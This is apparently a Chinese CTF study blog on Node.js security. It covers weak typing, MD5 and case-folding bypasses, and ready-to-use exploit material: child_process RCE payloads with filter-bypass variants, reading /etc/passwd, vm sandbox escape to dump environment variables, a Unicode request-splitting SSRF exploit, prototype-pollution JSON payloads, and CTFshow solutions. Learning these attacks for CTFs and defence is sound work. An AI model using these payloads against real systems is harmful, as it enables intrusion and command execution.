Node.js基础
简单的说nodejs就是运行在服务端的JavaScript, Node.js是一个基于chrome JavaScript运行时建立的一个平台, Node.js是一个事件驱动I/O服务端JavaScript环境, 基于Google的V8引擎, V8引擎执行Javascript的速度非常快,性能非常好。在浏览器控制台或者node的运行环境都属于repl运行环境, 均可运行JavaScript代码
在Node.js中分为三个模块, 分别是: 核心模块/自定义模块/第三方模块
这里提一点, JavaScript在编程时, 如果需要使用某个模块的功能, 那么就需要提前将其导入, 与Python类似, 只不过在Python中使用import
关键字, 而在JavaScript中使用require
关键字
Node.js 安装
大家可以自行去菜鸟学习安装配置
安装完成后, 大家可以在命令行测试一下
读取文件操作
文件系统模块就是核心模块
fs文件操作模块, 同步函数: readFileSync
; 异步函数: readFile
区别:
同步方法: 等待每个操作完成, 然后执行下一个操作 (先吃饭再看电视)
异步方法: 从不等待每个操作完成, 而是旨在第一步执行所有操作 (边吃饭边看电视)
1 | var fs = require('fs'); |
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
读取文件操作, 下面会在CTF例题中用到. 显示了读取文件的各种姿势
全局变量
__dirname
: 当前模块的目录名__filename
: 当前模块的文件名, 这是当前模块文件的绝对路径(符号链接会被解析)exports
变量是默认赋值给module.exports
, 它可以被赋予新值, 它会暂时不会绑定到module.exports
module
: 在每个模块中,module
的自由变量是对表达当前模块的对象的引用. 为方便起见, 还可以通过全局模块的exports
访问module.exports
module
实际上不是全局的, 而是每个模块本地的require
模块是引入模块, json或者本地文件, 可以从node_modules
引入模块
1 | //引入json文件 |
自行设置:
1 | global.charmersix=6 |
经常使用的全局变量是__dirname
, __filename
HTTP服务
1 | //引入http核心模块 |
child_process(创建子进程)
child_process
提供了几种创建子进程的方式
异步方法: spawn、exec、execFile、fork
同步方法: spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解, 创建子进程的同步异步方式应该不难理解
在异步创建进程时, spawn
是基础, 其他的fork/exec/execFile都是基于spawn
来生成的
同步创建进程可以使用child_process.spawnSync()
、child_process.execSync()
和child_process.execFileSync()
, 同步的方法会阻塞Node.js事件循环、暂停任何其他代码的执行, 直到子进程退出.
Node.js特性
大小写特性
1 | toUpperCase() |
对于toUpperCase(): 字符"ı"
、"ſ"
经过toUpperCase处理后结果为 "I"
、"S"
对于toLowerCase(): 字符"K"
经过toLowerCase处理后结果为"k"
(这个K不是K)
弱类型比较
大小比较
1 | console.log(1=='1'); //true |
总结: 数字与字符串比较时, 会优先将纯数字型字符串转化为数字之后再进行比较; 而字符串与字符串比较时, 会将字符串的第一个字符转化为ASCII码之后再进行比较, 因此就会出现第五行代码这种情况; 而非数字型字符串与任何数字进行比较都是false
数组比较
1 | console.log([]==[]); //false |
总结: 空数组之间比较永远为false, 数组之间比较只比较数组间的第一个值, 对第一个值采用前面总结的比较方法, 数组与非数值型字符串比较, 数组永远小于非数值型字符串, 数组与数值型字符串比较, 取第一个之后按前面总结的方法进行比较
一些比较特别的相等
1 | console.log(null==undefined); //true |
变量拼接
1 | console.log(5+[6,3]); //56,3 |
MD5的绕过
1 | a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag) |
a[x]=1&b[x]=2
数组会被解析成[object Object]
1 |
|
1 | a=[1] |
编码绕过
16进制编码
1 | console.log("a"==="\x61"); //true |
Unicode编码
1 | console.log("\u0061"==="a"); //true |
base编码
1 | eval(Buffer.from('Y29uc29sZS5sb2coImhlbGxvIHdvcmxkIik7','base64').toString()); |
Node.js危险函数的利用
命令执行/代码执行
exec()
1 | require('child_process').exec('calc'); |
eval()
1 | console.log(eval("document.cookie")); //执行document.cookie |
文件读写
readFileSync()
1 | require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => { |
readFile()
1 | require('fs').readFileSync('/etc/passwd','utf-8') |
writeFileSync()
1 | require('fs').writeFileSync('input.txt','sss'); |
writeFile()
1 | require('fs').writeFile('input.txt','test',(err)=>{}) |
RCE_ByPass
原型
1 | require('child_process').exec('calc'); |
字符拼接
1 | require('child_process')['exe'+'cSync']('calc'); //web中+记得url编码一下\ |
编码绕过
1 | require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc'); |
模板拼接
1 | require("child_process")[`${`${`exe`}cSync`}`]('calc') |
其他函数
1 | require("child_process").exec("sleep 3"); |
Node.js中的ssrf
通过拆分请求实现的ssrf攻击
原理
虽然用户发出的HTTP请求通常将请求路径指定为字符串, 但node.js最终必须将请求作为原始字节输出. JavaScript支持Unicode字符串, 因此将他们转换为字节意味着选择并应用适当的Unicode编码. 对于不包含主体的请求, Node.js默认使用latin1
, 这是一种单字节编码, 不能表示高编码的Unicode字符, 相反, 这些字符被截断为其JavaScript表示的最低字节
1 | > v = "/caf\u{E9}\u{01F436}" |
Crlf HTTP头注入
1 | > require('http').get('http://example.com/\r\n/test')._header |
通过crlf结合ssrf利用
通过一个题目学习一下
源码
1 | var express = require('express'); |
攻击流程
- 对
/core
路由发起切分攻击, 请求/core
的同时还向/source
路由发出上传文件的请求- 由于
/
路由是先读取/template
目录下的pug
文件再将其渲染到当前界面, 因此应该上传包含命令执行的pug
文件, 文件虽然默认上传至/upload/
目录下, 但可以通过目录穿越将文件上传到/template
目录- 访问上传到
/template
目录下包含命令执行的pug
文件
大概看一下几个路由:
- /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
- /source:回显源码
- /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
- /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。
nodejs在版本号小于8.x的时候存在unicode字符损坏导致的漏洞,而这个题目的版本刚好对的上(但是buu上的这个题并没有说版本),简单来说就是Unicode在解析的时候由于解码的类型问题导致部分被截断,字符出现变形,而原字符并非会被转义的危险字符造成的安全漏洞,具体就是先知社区这篇文章
https://xz.aliyun.com/t/2894#toc-2所以构造一下payload,通过换行符使得服务器在core中发出的一次http请求变成两次,并且第二次请求内容我们完全可控
可以先去upload目录上传文件抓一个包作为文件上传的模板,构造一下,赵总和出题人有两套不同的脚本构造字符,但是没有一个人说明这些字符是怎么构造出来的,并且两个脚本不互通,分别能用,但是尝试用赵总的脚本放一个命令执行的payload时直接把buu的环境打到了404。。。被迫重新开环境关于waf的绕过,想过直接二次编码绕过,因为这种ssrf发到服务器一次解码,服务器再发送到服务器二次解码,而检测只发生在第一次解码时,二次编码理论上超级绕过,但是这里编码需要把整个payload编码一遍,导致的结果就是第二个http包的部分内容也来了个二次编码,比如filename那里,在第二次发包的时候属于header内容,二次编码但解码只有一次(解码只对post和get提交的数据进行),会导致文件名有问题,但是那里如果只编码一次就会造成blacklist里面的引号限制过不去,所以说到底还是需要用截断字符这种编码方式去构造一个完全无关的字符而截断后却完全可利用的方式去攻击
exp
1 | import urllib.parse |
运行, 然后访问http://057e3adb-a0dd-4ef8-b06c-b64f535de269.node4.buuoj.cn:81/?action=shell
即可
Node.js原型链污染
prototype
和__proto__
在JavaScript中, prototype对象是实现面向对象的一个重要机制
它是函数所独有的, 它是从一个函数指向一个对象
它的含义是函数的原型对象, 也就是构造函数所创建的实例的原型对象
它就相当于是类的一个实例的模板, 原型的对象. 生成的对象都会参照这个原型对象; 生成实例化对象时, 如果自己没有的属性prototype有, 就会继承此属性, 有的话则不会覆盖
例如下面这段js代码
1 | function Foo(){ |
可以看到, 我们可以通过prototype
属性, 指向到这个函数的原型对象中然后创建一个show()函数, 功能输出为this.bar
我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上面中的foo对象,其天生就具有foo.show()方法。
如上面所说, 我们可以通过Foo.prototype来访问Foo类的原型, 但Foo实例化出来的对象, 是不能通过prototype访问原型的, 这时候就该__proto__
登场了
不同于prototype是函数特有的, 它是对象所独有的, proto属性都是由一个对象指向一个对象, 即指向它们的原型对象(也可以理解为父对象)
一个Foo类实例化出来的Foo对象, 可以通过
foo.__proto__
属性来访问Foo类的原型, 也就是说:foo.__proto__===Foo.prototype
(True)即: prototype是一个类的属性, 所有类对象在实例化的时候将会拥有prototype中的属性和方法. 一个对象的
__proto__
属性, 指向这个对象所在类的prototype属性
原型链继承思想
1 | function Father() { |
Son类继承了Father类的last_name属性, 最后输出的是Name: Melania Trump
总结: 对于对象son, 在console.log()调用son.last_name的时候, 实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到, 则在
son.__proto__
中寻找last_name- 如果仍然找不到, 则继续在
son.__proto__.__proto__
中寻找last_name- 依次寻找, 直到找到null结束, 比如, Object.prototype的
__proto__
就是null
类似于Java里面继承的思想, 如果子类没有这个属性, 往上继承父类, 有的话就自己用自己的多态
JavaScript的这个查找机制, 被运用在面向对象的继承中, 被称作prototype继承链
- 每个构造函数(constructor)都有一个原型对象
- 对象的
__proto__
属性, 指向类的原型对象prototype - JavaScript使用prototype链实现继承机制
原型链定义及如何污染
原型链的核心就是依赖对象__proto__
的指向, 当访问的属性在该对象不存在时, 就会向上从该对象构造函数的prototype进行查找, 直至查找到object的原型null为止
由于对象之前存在继承关系, 所以当我们要使用或者输出一个变量就会通过原型链向上搜索, 当上层没有就会再向上上层搜索, 直到指向null, 若此时还为找到就会返回underfined
图中原型链是cat->Cat.prototype->Object.prototype->null
原型链污染就是修改其构造函数中的属性值, 使其他通过该构造函数实例化出的对象也具有这个属性的值\
由于对象是无序的, 当使用第二种方式访问对象时, 只能使用指明下标的方式去访问
下面我们看一个简单的例子
1 | //foo是一个简单的JavaScript对象 |
首先建立一个foo对象, 有一个bar属性为1, 此时它的原型对象并没有, 后面通过foo.__proto__
指向它的原型对象, 也就是等价于是foo.prototype
, 即Object, 给Object原型对象增加了bar属性, 值为2, 现在Object有了一个bar=2的prototype原型对象, 是空的
但是在我们输出zoo.bar
的时候, Node.js的引擎就开始在zoo中查找, 发现没有, 去zoo.__proto__
中查找, 即在Object中查找, 而我们的foo.prototype.bar=2
, 就是给Object添加了一个bar属性, 而这个属性被zoo继承
这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染
原型链污染配合RCE
有原型链污染的前提下, 我们可以控制基类的成员, 赋值为一串恶意代码, 从而导致代码注入
1 | //foo是一个简单的JavaScript对象 |
vm沙箱逃逸
merge操作导致原型链污染
其实找找能够控制数组(对象)的”键名”的操作即可设置__proto__
的值
- 对象merge
- 对象clone (其实内核就是将待操作的对象merge到一个空对象中)
merge操作时最常见的可能控制键名的操作, 也最可能被原型链攻击
以对象merge为例, 我们想象一个简单的merge函数:
1 | function merge(target, source) { |
在合并过程中, 存在赋值的操作target[key] = source[key]
, 那么, 这个key如果是__proto__
(json格式才可以被当成key), 是不是就可以原型污染
1 | function merge(target, source) { |
需要注意的点是:
在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
ejs污染
参考: Express+lodash+ejs: 从原型链污染到RCE - evi0s’ Blog
lodash污染
参考: CVE-2019-10744
1 | loadash.defaultsDeep(obj.JSON.parse(objstr)); |
只需要有objstr
为
1 | {"content":{"prototype":{"constructor":{"a":"b"}}}} |
在合并时便会在Object上附加a=b这样一个属性
lodash是一个非常流行的JavaScript工具库
1 | const mergeFn = require('lodash').defaultsDeep; |
运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。
其中漏洞关键触发点在defaultsDeep
函数,它将({}, JSON.parse(payload))
merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串
JQuery污染
参考: CVE-2019-11358
版本小于3.4.0时 JQuery存在原型链污染漏洞
1 | $.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}')) |
Jquery可以用$.extend
将两个字典merge,而这也因此污染了原型链。
vm沙箱逃逸
参考: mongo-express RCE(CVE-2019-10758)
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸
例子
1 | const vm = require("vm"); |
执行之后可以获取主程序环境中的环境变量
上面代码等价于下面代码
1 | const vm = require('vm'); |
创建vm环境时, 首先要初始化一个对象sandbox
, 这个对象就是vm中脚本执行时的全局环境context, vm脚本中全局this指向的就是这个对象
因为this.constructor.constructor
返回的是一个Function constructor
, 所以可以利用function对象构造一个函数并执行. (此时function对象的上下文环境就是处于主程序中的)这里构造函数内的语句是return this.process.env
, 结果是返回了主程序的环境变量
配合chile_process.exec()
就可以执行任意命令了:
1 | const vm = require('vm'); |
做几个题(CTFshow)
web334
由前置知识可知
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了
但是这题其实直接用小写的ctshow
就可以绕过
web335
看见提示
猜测后端为eval()
代码执行
尝试一下rce
1 | require('child_process').execSync('tac f*').toString() |
也可以借鉴yu师傅的
1 | require( 'child_process' ).spawnSync( 'tac', [ 'fl00g.txt' ] ).stdout.toString() |
或者使用fs
读文件
1 | ?eval=require('fs').readdirSync('.') //查看当前目录 |
web336
过滤了execSync
可以使用上面说的spawnSync
或者fs
也可以使用拼接绕过/编码绕过等等
这里简单写几个payload, 其实是上面RCE_ByPass已经提到过的
1 | require('child_process')["exe".concat("cSync")]("ls").toString() //拼接绕过 |
web337
1 | var express = require('express'); |
md5绕过 like php
1 | a[x]=1&b[x]=2 |
web338
重点在于login.js
1 | var express = require('express'); |
可以看到flag就在这里, 要想获得flag, 就需要使得secert.ctfshow==='36dboy'
, 我们可以发现这里有个utils.copy
, 就类似于merge
函数, 存在原型污染
payload:
1 | {"username":"ctfhsow","password":"ctfhsow", |